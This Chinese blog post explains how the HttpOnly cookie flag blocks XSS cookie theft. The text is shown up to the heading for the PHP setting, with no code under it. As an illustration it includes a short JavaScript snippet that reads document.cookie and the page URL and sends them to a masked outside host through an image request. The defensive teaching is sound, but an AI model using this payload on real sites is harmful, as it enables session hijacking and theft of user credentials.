利用HttpOnly来防御xss攻击

最新推荐文章于 2024-05-29 19:11:35 发布

风火程序员

最新推荐文章于 2024-05-29 19:11:35 发布

阅读量3k

点赞数 1

分类专栏： php 文章标签： HttpOnly phpxss xss

本文链接：https://blog.csdn.net/phpfenghuo/article/details/26161161

版权

本文探讨了XSS攻击的危害，特别是在允许攻击者通过JavaScript获取敏感cookie时。介绍如何利用HttpOnly属性来防御这种攻击，保护用户的会话安全。

摘要由CSDN通过智能技术生成

xss的概念就不用多说了，它的危害是极大的，这就意味着一旦你的网站出现xss漏洞，就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持，如果这里面包含了大量敏感信息（身份信息，管理员信息）等，那完了。。。

如下js获取cookie信息：

    　url=document.top.location.href;
    　cookie=document.cookie;
    　c=new Image();
    　c.src=’http://www.******.com/c.php?c=’+cookie+’&u=’+url;

一般cookie都是从document对象中获取的，现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数，跟domain等其他参数一样，一旦这个HttpOnly被设置，你在浏览器的document对象中就看不到Cookie了。
PHP设置HttpOnly：

关注